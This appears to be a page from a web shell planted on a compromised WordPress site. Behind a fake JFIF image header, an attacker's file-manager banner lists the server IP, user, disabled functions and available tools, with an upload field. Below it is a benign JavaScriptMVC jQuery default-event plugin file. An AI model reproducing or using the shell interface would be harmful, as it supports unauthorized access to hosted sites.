????JFIF??x?x????'
Server IP : 104.21.96.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/motopress-content-editor/jquery/event/default/ |
Upload File : |
steal('jquery/event').then(function($){ /** * @function jQuery.fn.triggerAsync * @plugin jquery/event/default * @parent jquery.event.pause * * Triggers an event and calls success when the event has finished propagating through the DOM and preventDefault is not called. * * $('#panel').triggerAsync('show', function() { * $('#panel').show(); * }); * * You can also provide a callback that gets called if preventDefault was called on the event: * * $('panel').triggerAsync('show', function(){ * $('#panel').show(); * },function(){ * $('#other').addClass('error'); * }); * * triggerAsync is design to work with the [jquery.event.pause] * plugin although it is defined in _jquery/event/default_. * * @param {String} type The type of event * @param {Object} data The data for the event * @param {Function} success a callback function which occurs upon success * @param {Function} prevented a callback function which occurs if preventDefault was called */ $.fn.triggerAsync = function(type, data, success, prevented){ if(typeof data == 'function'){ success = data; data = undefined; } if ( this[0] ) { var event = $.Event( type ), old = event.preventDefault; event.preventDefault = function(){ old.apply(this, arguments); prevented && prevented(this) } //event._success= success; jQuery.event.trigger( {type: type, _success: success}, data, this[0] ); } else{ success.call(this); } return this; } /** * @add jQuery.event.special */ //cache default types for performance var types = {}, rnamespaces= /\.(.*)$/, $event = $.event; /** * @attribute default * @parent specialevents * @plugin jquery/event/default * @download http://jmvcsite.heroku.com/pluginify?plugins[]=jquery/event/default/default.js * @test jquery/event/default/qunit.html * Allows you to perform default actions as a result of an event. * * Event based APIs are a powerful way of exposing functionality of your widgets. It also fits in * quite nicely with how the DOM works. * * * Like default events in normal functions (e.g. submitting a form), synthetic default events run after * all event handlers have been triggered and no event handler has called * preventDefault or returned false. * * To listen for a default event, just prefix the event with default. * * $("div").bind("default.show", function(ev){ ... }); * $("ul").delegate("li","default.activate", function(ev){ ... }); * * * ## Example * * Lets look at how you could build a simple tabs widget with default events. * First with just jQuery: * * Default events are useful in cases where you want to provide an event based * API for users of your widgets. Users can simply listen to your synthetic events and * prevent your default functionality by calling preventDefault. * * In the example below, the tabs widget provides a show event. Users of the * tabs widget simply listen for show, and if they wish for some reason, call preventDefault * to avoid showing the tab. * * In this case, the application developer doesn't want to show the second * tab until the checkbox is checked. * * @demo jquery/event/default/defaultjquery.html * * Lets see how we would build this with JavaScriptMVC: * * @demo jquery/event/default/default.html */ $event.special["default"] = { add: function( handleObj ) { //save the type types[handleObj.namespace.replace(rnamespaces,"")] = true; }, setup: function() {return true} } // overwrite trigger to allow default types var oldTrigger = $event.trigger; $event.trigger = function defaultTriggerer( event, data, elem, onlyHandlers){ // Event object or event type var type = event.type || event, namespaces = [], // Caller can pass in an Event, Object, or just an event type string event = typeof event === "object" ? // jQuery.Event object event[ jQuery.expando ] ? event : // Object literal new jQuery.Event( type, event ) : // Just the event type (string) new jQuery.Event( type ); //event._defaultActions = []; //set depth for possibly reused events var res = oldTrigger.call($.event, event, data, elem, onlyHandlers); if(!onlyHandlers && !event.isDefaultPrevented() && event.type.indexOf("default") !== 0){ oldTrigger("default."+event.type, data, elem) if(event._success){ event._success(event) } } // code for paused if( event.isPaused && event.isPaused() ){ // set back original stuff event.isDefaultPrevented = event.pausedState.isDefaultPrevented; event.isPropagationStopped = event.pausedState.isPropagationStopped; } return res; }; });